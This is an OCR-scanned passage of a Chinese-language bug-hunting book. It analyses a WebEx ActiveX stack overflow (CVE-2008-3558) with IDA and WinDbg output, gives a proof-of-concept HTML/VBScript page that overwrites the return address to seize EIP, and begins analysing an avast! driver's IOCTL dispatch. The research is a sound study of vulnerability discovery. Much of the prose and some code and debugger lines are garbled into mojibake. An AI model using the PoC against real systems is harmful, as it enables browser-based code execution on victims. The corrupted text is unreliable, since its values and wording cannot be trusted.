1IBIT&BF xor
10887691 JIF

eax, eax

5hnrt loc 1IIITﬁc3|

. Llpitring
str)

Al 5-6 IDA Pro P[4 NewObject () 7k

TR g A Z AT, BB EISIFE 5-1 F VBScript fUABR LM A/
EHFHBRERFERN BB P, BIVXNSEE—FHE, REVWTH
# IDA B/ARKE _ASE IpWideCharStr H, HREHEX —S, HERE
NewObject() ik LB LT — /¥, HFEARKSER T BERBESEH (LITHE

A KRR AR L B.2 35 ),

P 5-7 iR, RAE Newdbject ()MHLAEALRE XL T — A B HIM &5 (0:009> bp
01d5767f ), BELEHAT IE (0:009> g), RIFFHIKFM http://www.webex.com/I5,,
W R B, IR T pR%L NewObject ()56 —~S%A{E ( 0:000> dd poi(esp+8) Hl

0:000> du poi(esp+8) ). IEANIEXZR% TR,

RPERE (B 12 M7/ A4

B S ) Ml SE ISR 5 R T .
B4, REBTHHFNEHER, TUREX T TERIREL bug T,
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&1 “C:\program Files\Internet Exploreciiexplore, exe” - WinDbg: 6.11.0001.404 X86

{0-009> bp 01d45767¢

En.ana: q

HHodload: 05730000 05796000 C “Programn Files VebEx-WebEx“824%atkbet] dll
Hatucfobj ID11UnregisterServer+0x3bhba:

01d5767f 55 push abp

Breakpoint 1 hit

Heax=7ffdel000 sbx=01d5etbl ecx=01d5767f edx=001abbc? esi=001abb?4 edi=00000000

eip-DIdE?E\?f esp=0013df80 =sbp=0013df% iopl=0 nv up =i pl nz na po Bc
c==001b ===0023 ds=0023 es=0023 f=-003b g=s=0000 efl=00000202
a.tur;!ahj 1Dl lUnregisterServer+0x355a:
01d45767f 55 pus=h ebp

N N> Ad poi (e=peR)

§001d3834 00410041 00410041 OG410041 DO410041
100143844 00410041 D0410041 baadD000 abababab
001d3854 abababab 00000000 00000000 DO070008
00143864 00120750 7e29h144 7=28eddc 7293798
001d3874 00010001 00000000 7=29b0f0 001d38aB
00143884 DDOODDDD DODDOODD1 ababsbab sbababab
001d3894 feeefsse 00000000 00000000 ODOB0OOE

UDldJHu-i 001cO74E DODDODODD 0D1d3aal 00150000 8
{0 - 000> du poi(s=sp+8)
l001d3834 “AAAAAAAAAAAA" W
£ | :
[0~ 0005 |

AP == .. & e - e = & s i
LoD, Col O Svs 0i<local> Proc 000'Sa%. Thrd Q00404 - !

& 5-7 & X—PH WSS NewObject () B P EHI S8

515 EHS: BHEIEXMHRYE

EE—TF, #EB T —PHBHRF, 24 ActiveX ¥ {4-4b 7 NewObject ()f&1t
S f PR FAF R R AR . & 5-8 JBR T RN R BRI R 4R,

sub_1000767F

\
sub_10009826
ey

5utr_1LthI!:lb4'f—i- sub_1 B USEUU
/
/’ AN —

i -

A 5-8 ik R E RIS RS (IDA Pro 424K )
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fE sub_1000767F, FiFRUELAI R FIFF4T 8 WideCharToMultiByte () BREX
R — D BEWFEME, 25, VA sub_10009642, HIF EHFAF R H PR
— B, sub 10009642 IR RIFERE 256 N EHFE R B BEX B
I E X (C S . strncpy(new buffer, user_controlled_string, 256) ).
pE %% sub_ 10009826 18 LA, B XA sub_100096D0, XN BR¥VEF T il R

sub_1000B37D,

R7E:%% 5-3 JWiFR% sub 10008370 KIS IC 4 (IDA Pro 4%, )

[..] .

.text:1000B37D ; int _ cdecl sub_1000B37D(DWORD cbData, LPBYTE lpData, int, int, int)
.text:1000B37D sub_1000B37D proc near

.text:1000B37D

.text:1000B37D SubKey= byte ptr -10Ch

.text:1000B37D Type= dword ptr -8

.text:1000B37D hKey= dword ptr -4

.text:1000837D0 cbData= dword ptr 8

.text:1000B37D lpData= dword ptr 0OCh

.text:1000B37D arg 8= dword ptr 10h

.text:1000B370 arg C= dword ptr 14h

.text:1000B37D arg 10= dword ptr 18h

.text:1000B37D

.text:1000B37D push ebp

.text:1000B37E mov  ebp, esp

.text:1000B380 sub  esp, 10Ch

.text:1000B386 push edi

.text:1000B387 lea  eax, [ebp+SubKey] ; the address of SubKey is saved in eax
.text:1000B38D push [ebp+cbData} ; 4th parameter of sprintf(): cbData
.text:1000B390 xor edi, edi

.text:1000B392 push offset aAuthoring ; 3rd parameter of sprintf(): "Authoring"”
.text:1000B397 push offset aSoftwareWebexU ; 2nd parameter of sprintf(): "SOFTWARE\\..

.text:1000B8397 ;3 «Webex\\UCF\\Components\\%s\\¥s\\Install"
.text:1000839C push eax ; ist parameter of sprintf(): address of SubKey
.text:1000B39D call ds:sprintf ; call to sprintf()

[..]
.data:10012228 ; char aSoftwareWebexU[]

.data:10012228 aSoftwareWebexU db 'SOFTWARE\Webex\UCF\Components\%s\¥s\Install',0
[-.]

sub_1000B37D B —MSEAE cbData, EAE — M8 RTINS
X (& 5-8 INBHEABIED new buffer ) A EHIBIRMIEEH ., AT
Bit, FP S F AR L 2 E A R B RAEX A X, S
X AR R 256 F 1 AUIBIE 8 5-3 B8, #bhl . text:1000839D ZbAY sprintf()
PREUE H cbData FE A FEHRIBIERIRRE WX SubKey 1 (. text:1000B387

F1.text:1000839C ),
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Rig, RIZEBEREX Subkey B K/, #F CTRL-K #TFF IDA Pro BYBK
IR R . TE 5-9 iR, AR X SubKey Bl A/NA 260 F45, RIEAH
HHE 53 PRRICABERNGEE SN RFARBNRARERS TR,
sprintf ()R BT LLFRR BAUSH L 54 /Y CiIEF B,

/5 Stack frame =8 X ]
Edit  Jump.  Search |
-8080810C SubKey db 268 dup(?) : stack buffer .I
~0anopnas Type dd ? B
~-AN0A0NAEAS hKey dd 7 : OfFfset w0 |
+@0000aen s db 4 dup(?) 3
+gAnaanny  r dh 4 dup(?) + saved return address |
+Banonat8 cbhbata dd ¥ :
+pAa0pReRC lphata dd 7 Stiuct Fekd sive -
+A8080M1a arq 8 dd 7
~PR00ORIL ary C ud 7 Lurtent offsst - U ULUULREM
+ 00000018 arg_10 dd 7 Nest defined item at : 000000108
+R00000n1C
+BENeRnIc [ end of stack variables Auray sbement width 1
W — Curtert array size - 260
1 |5« « 00000004

Bray soe 260 *  [in skémenis]
[tems on a fine 0 v [mas)
Aligrment 1 - {-1-none D-auto)

A 5-9 Fi IDA Pro BIBRIARR L /KB EHRZE X SubKey BIFA/I

RITEE 54 ARWFA sprintf()iAAH, CEZ ML
[..]

int
sub_1000B37D(DWORD cbData, LPBYTE lpData, int vali, int val2, int val3)
{

char SubKey[260];

sprintf(&SubKey, "SOFTWARE\\Webex\\UCF\\Components\\¥s\\%s\\Install",
"Authoring”, cbData);
[..]

PEPRE sprintf() M cbData B #ilF P #&HI%dE . Authoring FR/F e (9F17)
FMAERFRFR (39 FT ) P SubKey, MR cbData HFE T HAKE A P HIE
# (256 717 ), BILRA 304 FHHBIRBEHBERE WX B, Subkey REEFFIX
260 FHHIEEE, T sprintf()AMUEMKERE ., Eik, A 5-10 s, APE
HEHE AT BES B SubKey Z4b, XWSFBURE X B L (W A.157 ),
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TRt - A SRl 2

1 ]

M *,._—-—— ”...\fﬂstﬂ”u
BPvha ik

R dhiE Dt

“-..5 .*-"""

e L T

Subkey ( 2608 3

Subkey -

( 26082

3 o & &

H“mﬁMMEMMﬁ

UCF\Components,
Authoring\...”

h_ﬁ_ﬂtﬂﬂffr*’”'_‘ __ﬁ___#,,ff*"'_—

A 5-10 — M KMFEFREIES Newobject ()BT &4 AYRREE v X % HH /= &

5.2 ImiEFH

RIEXNMWAZE, ARHERERMEN, RRATHIAEZIELS Newdbject()
FFAFRSHOKE, HEREMREL, REHEN X a0ERDA & E bt

W 5-9 frax, M SubKey X B4R EARFFR Mt A BH 272 F (f%
FHR IR (+00000004 ) T8 2 SubKey HIfWAE ( -0000010C ): Ox4 - -0x10c =
0x110(272)), HEE BFHH Authoring LS FRor#& 0 F AT R A 1l 2] SubKey
IS TR P ERIEZAAE (LA 5-10), 852, RO SubKey
B (R A (R [B] sk B a] BE AR Bl 40 F 15 ( SOFTWARE\Webex\UCF\Components\
Authoring\ ) (272 — 40 = 232 ), HIIRERME 232 FHHIEHE ( dummy data )
AR, BRI FRFFRRMhELL, R REEFEN 4 F R P ERIBEEEE
iR _EARAERYIR B aEE .

Hit RS AT webex_pocl.html 5 6 TTRUEEMFFE, HEXHEWRLEHN
webex_poc2.html ( WACFSFE 5-5),

REDFEHR 5-5 1HFR— T EKAKFRFEL Newobject () ) HTML X4

( webex_poc2.html )
01 <html>
02 <title>WebEx PoC 2¢/title>
03 <body>

04 <object classid="clsid:32E26FD9-F435-4A20-A561-35D4B987CFDC" id="obj"></object>
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05 <script language='vbscript'>

06 arg = String(232, "A") + String(4, "B")

07 obj.NewObject arg

08 </script>

09 </body>

10 </html>
SR S5 VA BR8] B Python Web AR 554 LA 4a] A ixX AN 7 # HTML 304
[ wwwserv.py T F o

09 f = uhen(curdir + sep + "webex_poci.html")
P JFH wwwserv.py 21°F o

09 f = open(curdir + sep + "webex_poc2.html")

&3 Web IR55%%, 7E WinDbg B iN#k IE, HYK 7 (] http:/www.webex.com/,
WE 5-11 i, BIERSELEH] T EIP, [FHELZ MBS (heap spraying )

BAR, &4 bugREZHA, ARLIEBAREPITE L.

&1 Wrogram Filesiimternet Exploreriiexplore.exe™ - WinDbe:6,11.0001.404 X84

Fia ilt Vi Jmmnu mkthw Hdﬂ

Kommand

SWINDOUS-System3Z weshtepip. dll -
SHINDOWS»systen i S RASAPIZZ DLL

71a50000 71a9B000
7ee=0000 7oflcODD
Teed0000 FeeaZ(nO
7eeb0000 Fesdil0D
76880000 F6=8s20D0
722p00D0 F22b5000
Tef20000 Fef47000
76fc0000 76tcul0n
01250000 D1e63000
: 01280000 01ecd000
: 76080000 7605000
: 0led0000 O0les=c000
02470000 D2EBBODO

SHNINDOWS systemid rasnan dll
SWINDOWSwsysten I WTAPII2 dll

~NINDOUS systenid rtutils d11
SHINDOWS“systemnilizensapi dll
SEINDOUS systen I DHSAPT 411

“WINDOWS systemilSrasadhlp.dll

“Programn Filess\UsbhEx-UebEx-824~atucfobi.dll
“Programn Files«WeabEx VebEx 824 atWbxUI6 DLL
WINDOUS .systeni2~MSVCP&D dl1l

“Program Files VebEx“WsbEx.824{0]LikRes= DLL
“Program Files WehEx . WehEx"B2{atres dll
05730000 D5796000 “Program Files WebEx“WebEx-824~atkbotl dll
73300000 7338a000 “WINDOWS .systemi2 vhe=cript dll

{78 3bc): Access violation — code c000GD0G (farst chances)

iFirst chance exceptions are reported befors anv exception handling

iThi= exception may be expected and handled .

leax=00000000 =bx=00000000 eck=7c91003d edx-00150608 msi=0003b024 adi=0D03L024
Heip=42424242 eep=0013dacd =bp=41414141 1opl=0 ov up =1 pl =r oA D& uo
lc==001b ===0023 ds~0023 e==0023 f==003b g=-0000 efl=00010246
iqﬂnlnad:d_Ehg dll +Dxd2d24241

42424242 77 rAN

sigipisiniginigisioliaialnlinlyl

- -
oo snmin S s ol galh il e 2w
{00003 | A

i el B e L e s

e AR g
Lﬂl.’l l‘.:f.'dﬂ Eﬁﬂm.‘a Preic OO 78 ﬂ'lrdmahl:

——es

& 5-11 IE /& EIP £
A, EEREARFRBEE—ZEMN. 7 TEMTRTFAHERFR, MR

APGER, AILABA AT H W 7R 3 R R 59—~ B S5 PR T IR R R YA
B, ¥
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ZRIEFT, R COMRaider R ActiveX #4, MARIBEILL
GRiCAD, MEEEPHLIR XA bug, ER, o, EiL&HmAREEEMSNSEZ T,
AR

5.3 mEMZIE

2008 F s Bi1eP. EHgm

FEE 2 B 4 ER, RIVES bug HEGEF T XERMGWIT LG, FHFB
MATATEF#NT o XA bug REFEFSP—FhRE TR . X—RKREA HHEERIFL
, MEEX bug HEL—NMNRFZELA (Verisign iDefense Labs #J “VCP it
), ZEafmEREME (I 2377 ),

2008 4F 4 A 8 H, RELFA T iDefense. ffi]3:32 7 IRARAE, FHHEX A
AT BRL, ZEEBIEFRFARA ActiveX 40T, B—(1%4L W55 A Elazar Broad
7 2008 4F 6 HEIL T X1 bug, fiths@mi 7 AR, BEHEU LR EBHFXAFFT
XA bug ', 20084E 8 A 14 H, BALEA T WebEx SUUE MM —MEE R
LA Re—p & il . B2 EAE—H, (B4 Elazar ISR EBMEZ 2T —5,

5.4 ZigFnH)|

Q 7S ZEEN (k) TEF-mTAHER . Z5FH bug.

O Bl S A B BIR ActiveX AY3EBR il XX Y SiteLock il & i 2 xAE 1,
O MNBRERAKWERE, ActiveX BHRBAERHR. AMERN B,
QRFASEEE LR (KEK¥T )

55 #hFE

w8 Fa B imE. Eig=

X MRIFECEE, WebEx SUUE MG KF At E 20T LI3kE, FFLL
AXRBREHCHME FERT —HIFEHHLLHRE", X4 bug BWRSR
CVE-2008-3558, & 5-12 EmiX/NRiEE R MnHE &,



84 | F5F NMALELE

iDetense VCPUY E'Jﬁ'ﬁﬁm Elazar B'I'N-dﬂ' ﬁﬁ-ﬁ ( ‘E i #t * 2

-2

l B8N FWEENAEHRAS KOFRERE
L - ‘£' o &i IJ
04.06.2008 O4.08.2008 06.20.2008 OB.06.2008 08.14.2008 ©O9.17.2008

Bl 5-12 M A& E WebEx 2 UUE B AN IR Bl R A 2 2 M 4 prd

EES

MiiE

[1]

[2]

(3]

[4]

[6]

[7]

[8]
(]

iDefense #J COMRaider 25 2 MW B i COM M REOWBEB KT R, B
http://labs.idefense.com/software/download/?downloadID-23 ( &G4k 4 http://bit.ly/yEG097 ),
FEEEUER “ActiveX EHMELW B ELHATHA (Safe Initialization and
Scripting for ActiveX Controls )”, MHt: http://msdn.microsoft.com/en-us/library/aa751977
(VS.85) .aspx ( HhL A http://bit.ly/ACfHmv ).

L “Not safe = not dangerous? How to tell if ActiveX vulnerabilities are exploitable in Internet
Explorer ( A& 2=AfEkK? N{TH ¥ ActiveX JWiA4A IE R EATFHK )", Mik.
http://blogs.technet.com/srd/archive/2008/02/03/activex-controls.aspx( A& ht 4 http:/bit.ly/xJDgOA ),
XTFEVHABLEHELER, 2% https://www.owasp.org/index.php/Cross-site_Scripting_
(XSS) (&HLA http://bitly/yVIcWM ),

T “( MindshaRE: Finding ActiveX Methods Dynamically )", Pk ; http://dvlabs.tippingpoint. com/
blog/2009/06/01/mindshare-finding-activex-methods-dynamically/ ( 4Z31E>4 http://bit.ly/xN1IRn ),
I, http://msdn.microsoft.com/en-us/library/9al 6d4e4-a03d-459d-a2ec-325849916932(VS.85) ( 4tk
A http:/bit.ly/yWwOR9 ),

WinDbg & Microsoft “B 7 9" Windows iR #% , YE 7% %% 19 . Windows 11 T H( Debugging
Tools for Windows )" HH#—& 5 %&f, ATMLAFRI4EFER] . http://www.microsoft.com/
whdc/DevTools/Debugging/default.mspx ( &4k A4 http://bit.ly/Akd3nd ).

BiL http://www.hex-rays.com/idapro/ ( ¥4t °4 http:/bit.ly/y3Viqt ),

W, http://www.trapkit.de/books/bhd/ ( Zht A http:/bit.ly/yZX6td ).

[10] M. http://seclists.org/fulldisclosure/2008/Aug/83 ( & ht 4 hitp://bit.ly/winxt4 ),
[11] 2%F Microsoft SiteLock R Z{5 &, . http://msdn.microsoft.com/en-us/library/bb250471%

28VS.85%29.aspx ( FZ4L4 http://bit.ly/xd5rul ),

[12] XTF WebEx VB M XMRIA A4, RILLMETULATMAEEZ]: http:/www.

trapkit.de/advisories/TKADV2008-009.txt ( %84k °4 http://bit.ly/wOUVRk ),
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2008 F 2 BsH. By~

T EentER AT IRAE, KL A&H bug 5, REBFIEHCEEGE
R Windows $#1E R G W TR F 1 bug, Windows H TR ZILELAIEE =K
31, BHBILNTFFHNARES . RERAEETIJLZGmE&, HAEll#E
HRARBRA B, I T VirusTotal RGP, M2 ER3R BT 8158 5
— 2B RE= & . ALWIL Software ) avast!®], 00 F 6 B 1 B, ALWIL
BHSCERR, XAMERFIRET R T BN Z I, Sottware @ % ¥} AVAST Software.

6.1 A IEiH
s EFN BT RBRAY

&Il AR AT . of avast! T ALK 2.7 T H g
Q%% HABEHREE D VMware &% Ffx¥i windows £ 5. = § B
FHl. #$EHTEEE 22 4 Windows

QE =& A avast SIS ANZE XP P B e K.
XRINE,



86  HeZE —IMHRBLGIE—D

Q%=#: BERENLLRE,

0 5P 31 I0CTL,

QRRA: PR R AR
Q AF: ¥iE TR IOCTL A AT

6.1.1 ZE—%: HARLAIREZ—1 VMware TR

B, REIE T —4 Windows XP VMware & P PLES, {#H WinDbg fit &
RN ERRP, B3P NETLENER,

6.1.2 E—H. E£— avast!t]ZRIEHFIIEZITRIIE

7 VMware B HLAGLF FTREE avastt E WM BRFRAZE, A
DriverView! 4 li—4 avast! EAIR BN R FF I 3K

DriverView H#F4b2Z —REiLHINE =AW TEHRES T. E 6-1 B,
avastlER T 4 NIRRT . REFTIE S —1, Aavmkerd.sys, Fij IDAPro ™
A GX A SR BRI AR B XT3 R

B IKEhA2 B T VA AT e 4% 18 13 78 ) ToCreateDevice 3, # IoCreateDeviceSecure®
PR F 3T R RETIREREHEFHED,

e DriverView

Aot er . o s LN ¥l Liiag Feasl] oa i TR0 e iC 4 7 10ae.n AW Sofhsse SWEET: AL SEEET
@ zswMon2 5YS  (ea921000  System Driver avact! Fie Syctem Fiter Driver ... 4.7.1098.0 ALWIL Software  avast! Antivines System

@ aswldr.5YS Crwesa 381 000 Wedwanrk, Dreer avact! TDL RDR Difves 4.7.1008.0 ALWIL Software avast! Arbivirus Swshem
@ pewTdl.SYS (rf TRAE000 KWetwork Drver  awast! TOI Filter Driver 4700950 ALWIL Software avast! Antivinus System W

€ ¥

124 dammis), | Selected

[l 6-1 DriverView ¥ avast! ER B WshF| T

IDA FC4iX A WahBE )G , BT LW shH 4616 IR DriverEntry () BYIL
g, U

[.]
.text:000105D2 ; const WCHAR aDeviceAavmker4
.text:000105D2 aDeviceAavmkers: ; DATA XREF: DriverEntry+12

.text:000105D2 unicode 0, <\Device\AavmKexrs>,0
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[.] o
.text:00010620 ; NTSTATUS _ stdcall DriverEntry(PDRIVER OBJECT DriverObject, -
PUNICODE_STRING RegistryPath)
.text:00010620 public DriverEntry
.text:00010620 DriverEntry proc near
.text:00010620
.text:00010620 SymbolicLinkName= UNICODE_STRING ptr -14h
.text:00010620 DestinationString= UNICODE_STRING ptr -oCh
.text:00010620 DeviceObject = dword ptr -4
.text:00010620 DriverObject = dword ptr 8
.text:00010620 RegistryPath = dword ptr oCh
.text:00010620
.text:00010620 push ebp
.text:00010621 mov ebp, esp
.text:00010623 sub esp, 14h
.text:00010626 push ebx
.text:00010627 push esi
.text:00010628 mov esi, ds:RtlInitUnicodeString
.text:0001062E push edi
.text:0001062F lea eax, [ebp+DestinationString]
- text:00010632 push  offset aDeviceAavmker4 ; SourceString
.text:00010637 push eax ; DestinationString
.text:00010638 call esi ; RtlInitUnicodeString
.text:0001063A mov edi, [ebp+DriverObject]
.text:0001063D lea eax, [ebp+DeviceObject]
.text: 00010640 X0Y ebx, ebx
.text:00010642 push eax ; DeviceObject
.text:00010643 push ebx ; Exclusive
.text:00010644 push ebx ; DeviceCharacteristics
.text : 00010645 lea eax, [ebp+DestinationString]
.text:00010648 push 22h ; DeviceType
.text:0001064A push eax ; DeviceName
.text:0001064B push ebx ; DeviceExtensionSize
.text:0001064C push  edi ; DriverObject
.text:0001064D call -ds:IoCreateDevice
.text:00010653 cmp eax, ebx
.text:00010655 il loc_107sE
[..]

7 Driverentry() sR%CE , Hiht.text:0001064D 4k #YE%EL ToCreateDevice ()l
# 7 —1 42" \Device\AavmKers A% ( WL.text:00010632 Fl.text:000105D2 ),
LA 45 1 #) DriverEntry ()WL 4R fUHS B Bl BHERL AN T #9 C 1L,

[..]

RtlInitUnicodeString (8DestinationString, &L"\\Device\\AavmKera");
retval = IoCreateDevice (DriverObject, 0, &DestinationString, Ox22, 0, 0, 3DeviceObject);

[..]

6.1.3 =% REZENRLESE
$RJG Al WinObj ##F AavmKers 28 %2 ® (WA 6-2), [V
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5 WinObj - Sysinternals: www,sysinterpals.com

Fis  wiew Help
o) g
=1 | Nﬂ'“ﬂ Type Sy ™
) Archame :| E : :
i '_j BaseMamedObjects ', ﬂ.ﬁ.c.ﬁ.dapterl e
& ‘:ﬂj Eal?ack i g”d Device
T ’:!vg:n:nnr. al | Baswron Device
I T ol
- . | @3 ASWRDR Device
o] HarddiskD %3 s
# (] HarddiskDmVolumes 1 2 AsHRdr TcpFiter Device
_] Hetp | ?}MchpFllter Device
@3 1de i %}nswm Device
) Scsi @3 AswlidpFilter Dievice
{27 winDfs 23 Beep Device
) Driver _,_3‘ “dR.omO Device
& {_] FileSystem i ﬂr:nmpuslteﬁmery Device
{1 GLOBAL?? . % DL oader Davice &
\DEYPEE'I.MMEH

A 6-2 WinObj ' AavmKer4 i% & H2% i B S

B7E WinObj P HEE R FHELIRE, HRATRES, NEmyIEpEsE
Properties, #R/Gi%E# Security #7535, WEXMRARIFRGEG NS (Everyone 4 )
XS (WA 6-3 ), XEME R M 1m B Eh B F L HH IOCTL &%

PAEER AR, XRER, BEHEIERFEA— A ER B!

AavmBerd Properties

' Details Secunty
Giroup of uset names
m.&.dn’mmtratuﬁ [BHD‘\.-'-‘-.d.rrnm;tratnrs]

a

mHESTHIETED

€3 S5vSTEM

|I 1 l “Remave | |

| Permissions tor Everyone &b Dery ‘i
Read b [
w'rite E D
Dalate ] 1

Special Permmssions
For special permissions o for advanced settngs. tidvancad I
click Advanced f

ok ] [ aee ]

E 6-3 rF \Device\AavmKers ) Zc4 it ®
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6.1.4 FMF: FIH IOCTL

B NZEE K% IOCTL, Windows A F 25 8] i 72 ¥ & 718 A
DeviceIoControl(). iX£eX] DeviceloControl()HIiE S Windows i /O g
H B{—~ IRP_M]_DEVICE_CONTROL 153K, KiXARINZWET . W F L —
TR R EFIFERALLEE IRP_MI_DEVICE_CONTROL %K, TiX ARG —1
MajorFunction[ |5{4H5 | H, X4 R DRIVER OBIECT $iBZMMR G, 45
{7 7E WDK ( Windows Driver Kit ) "/ ntddk.h ®P#R 3|, AP EEIE, RMET
AN T L opay =

[..)
typedef struct DRIVER_OBJECT {
CSHORT Type;
CSHORT Size;
PDEVICE_OBJECT DeviceObject;
ULONG Flags;
PVOID DriverStart;
ULONG DriverSize;
PVOID DriverSection;
PDRIVER_EXTENSION DriverExtension;
UNICODE_STRING DriverName;
PUNICODE STRING HardwareDatabase;
PFAST IO DISPATCH FastIoDispatch;
PDRIVER_INITIALIZE DriverInit;
PDRIVER_STARTIO DriverStartlo;
PDRIVER_UNLOAD DriverUnload;
PDRIVER _DISPATCH MajorFunction[IRP _M] MAXIMUM FUNCTION + 1];
} DRIVER OBJECT;

[..]
PAF /& MajorFunction[ B TR E X (H3KEH ntddk.h ),

[..]

#define IRP MJ CREATE 0x00
#tdefine IRP_MJ CREATE NAMED PIPE 0x01
#tdefine IRP MJ CLOSE 0x02
#tdefine IRP_MJ READ 0x03
#define IRP_M) WRITE 0x04
#define IRP"MJ_QUERY_ INFORMATION 0x05
#idefine IRP M) SET INFORMATION 0X06
#define IRP_MJ QUERY EA 0x07
#tdefine IRP_MJ SET EA 0x08
#define IRP_MJ_FLUSH BUFFERS 0x09

#define IRP_ M QUER? VOLUME _INFORMATION Ox0a
#define IRP_ M3 _SET_VOLUME_ INFORMATION  oxob

#idefine IRP_M) DIRECTORY CONTROL 0X0cC
#tdefine IRP M) FILE SYSTEM CONTROL oxod
#tdefine IRP_MJ_DEVICE_CONTROL 0x0e

#idefine IRP_MJ_INTERNAL DEVICE CONTROL oxof
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#define
#idefine
#define
#define
#idefine
#define
#define
#define
fidefine
fidefine
#define
#define
#define
#tdefine
[..]

IRP_MJ_SHUTDOWN

IRP M1 LOCK_CONTROL
IRP_MJ_CLEANUP
IRP_M)_CREATE_MAILSLOT
IRP M) QUERY SECURITY
IRP_MJ_SET SECURITY
IRP_MJ_POWER
IRP_MJ_SYSTEM_CONTROL
IRP_MJ DEVICE CHANGE
IRP_MJ_QUERY_QUOTA
IRP_MJ_SET_QUOTA
IRP_M]_PNP

IRP M PNP_POMWER
IRP_MJ_MAXTMUM_FUNCTION

0x10
0x11
Ox12
0x13
0x14
0x15
0x16
ox17
0x18
0x19
Oxla
0x1b
IRP M] PNP // Obsolete...
0x1b

AT I HERSIBRFLBE IOCTL, MK FX TR IOCTL FEHIRE
INRIT LRGBS CAUE, XA S T, B Oy3RALE B BIR HE 5 5 BcE
WEREX T

DriverObject->MajorFunction[IRP M] DEVICE CONTROL] = IOCTL dispatch_routine;

B, FE AT avast! 1) Aavmkerd.sys R FHATE ., EFEAGE{UH IDA
Pro $R43L 89 I 1 4RFS R B EAK AT 5543 B R 2

SRS AN, FRAFEAREL DRIVER OBIECT ¥UBELHA XMWEL(ER, B
& WinDbg il ®| VMware & P HLARS L, A dt @84 ( LT a4 01k
W B.2%) BRFTEEBAIMEHMEEER.

kd> .sympath SRV*c:\WinDBGSymbols*http://msdl.microsoft.com/download/symbols
kd> .reload

[..]

kd> dt -v _DRIVER_OBJECT .
nt!_DRIVER_OBJECT
struct DRIvEE _OBJECT, 15 elements, Ooxa8 bytes

+0x000 Type : Int2B
+0x002 Size : Int2B
+0x004 DeviceObject :
+0x008 Flags : Uint48
+0x00c DriverStart :
+0x010 DriverSize : Uint4B

+0x014 DriverSection
+0x018 DriverExtension
+0x01c DriverName

+0x000 Length
+0x002 MaximumLength

+0x004 Buffer

+0x024 HardwareDatabase :
+0x028 FastIoDispatch :
+0x02c DriverlInit

; struct UNICODE_STRING, 3 elements, OxB bytes

: Uint2B
: Uint2B

: Ptr32 to Uint2B
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+0x030 DriverStartIo
+0x034 DriverUnload
+0x038 MajorFunction : [28]

PAIAARHY% B8 MajorFunction[ )4 MEEHIIAIREE ox38 AbTFIG., BT
WDK i ntddk.h 3k 3045, FAIGE T IRP_MI_DEVICE_CONTROL 7E MajorFunction[]
PO TR oxoe &b, MEBHTRBIRTE—MEEHIAAD (32 (FE LK 4
T o

i, &XA2IRAT AT ERER,

In C: DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]
Offsets : DriverObject + 0x38 + OxOe * 4
Simplified form : DriverObject + o0x70

ARBOTER AFREA Intel WARHMES MR, (HRRE avast ISR FH
P ERERE T X LES

[..]
.text:00010748 . mov eax, [ebp+DriverObject]

[..]

.text:00010750 mov dword ptr [eax+70h], offset sub_1098C
[..]

FEHLE . text : 00010748 AL, —/35 16 DRIVER OBIECT FRIFS4HRFAFAE EAX Z9f728rh,
FEHAIE . text:00010750 4b, IOCTL VAREBIRRE BB H IR T MajorFunction[IRP M3
_DEVICE_CONTROL],

IOCTL_dispatch_routine;
IOCTL_dispatch_routine;
IOCTL_dispatch_routine;

Assignment in C: DriverObject->MajorFunction[IRP_M) DEVICE CONTROL]
Offsets : DriverObject + ox70

BaRAKE] T X ISIRFFH IOCTL MR : sub_1098C! fEBIMIARE,
a] LI 3] IOCTL JHEHIE .

kd> ldrvobj AavmKersg 7
Driver object (86444f38) is for:
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
Aavmker4.SYS -
\Driver\Aavmker4
Driver Extension List: (id , addr)

sub 1098c;
sub 1098c;

Device Object list:
86329150

Driverkntry: f792d620 Aavmkers
DriverStartIo: 00000000
DriverUnload: 00000000
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AddDevice: 00000000

Dispatch routines:

[00] IRP_MJ CREATE £792d766 Aavmker4+0x766
[01] IRP_MJ_CREATE_NAMED PIPE £792d766 Aavmker4+0x766
[02] IRP_M] CLOSE £792d766 Aavmker4+0x766
[03] IRP_M]_READ £792d766 Aavmker4+0x766
[04] IRP MJ WRITE £792d766 Aavmker4+0x766
[05] IRP_MJ QUERY INFORMATION £792d766 Aavmker4+0x766
[06] IRP MJ SET INFORMATION £792d766 Aavmker4+0x766
[07] IRP_M] QUERY EA f792d766 Aavmker4+0x766
[08] IRP_MJ SET EA £792d766 Aavmker4+0x766
[09] IRP_MJ FLUSH BUFFERS £792d766 Aavmker4+0x766
[0a] IRP_MJ_QUERY VOLUME_INFORMATION  f792d766 Aavmker4+0x766
[Ob] IRP_M3_SET_VOLUME_INFORMATION f792d766 Aavmker4+0x766
[oc] IRP_MJ DIRECTORY CONTROL £792d766 Aavmker4+0x766
[0d] IRP_MJ_FILE_SYSTEM_CONTROL £792d766 Aavmker4+0x766
[oe] IRP_M]_DEVICE_CONTROL f792d98c Aavmker4+0x98c

[..]

WinDbg # % H 27 A LI7E Rk Aavmkera+0x98c¢ 4b#% 31 IRP_MJ _DEVICE CONTROL

VAR

REBX T EEARE, REX BRI ELHA IOCTL, I0CTL 18 ##2

NTSTATUS
DispatchDeviceControl(

__in struct DEVICE OBJECT *DeviceObject,

__in struct IRP *Irp

)
{...}

BRBRISE N SPR—181m VO kR (IRP) ZHHEE. IRP &
Windows I/0 B HE 8% HI R MK sh A2 FF 8 (5 RIF RS2 P Z IR {5 R B 54,
XANGEHIA AL P 3R4E TOCTL $04% LA X 10CTL #E K45, 14

R, AEE—IOCTL AR, AR 1 XN HIRH BRI 465

[..]
.text:0001098C ; int _ stdcall sub_1098C(int, PIRP Irp)

.text:0001098C sub_1098C proc near ; DATA XREF: DriverEntry+130
[..]

.text:000109B2 mov ebx, [ebp+Irp] ; ebx = address of IRP
.text:000109B5 mov eax, [ebx+60h]

[..]

IOCTL 8 EEFIFR B HbhE . text:00010982 4L, — A F§[H IRP Z5HA& 35 EHRAE
T EBX HFHEMFT. ZE, LT IRP EHEmMBE oxeo AbHI—EBESIH
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( Bl .text:000109BS ),
kd> dt -v -x 3 _IRP
nt!_IRP
struct _IRP, 21 elements, Ox70 bytes
+0x000 Type : 7?7
+0x002 Size : 7
+0x004 MdlAddress : 11?
+0x008 Flags 2 27
[..]
+0x040 Tail : union _ unnamed, 3 elements, 0x30 bytes
+0x000 Overlay : struct _ unnamed, 8 elements, 0x28 bytes
+0x000 DeviceQueueEntry : struct KDEVICE_QUEUE_ENTRY, 3 elements, Ox10 bytes
+0x000 DriverContext : [4] 1277
+0x010 Thread s N
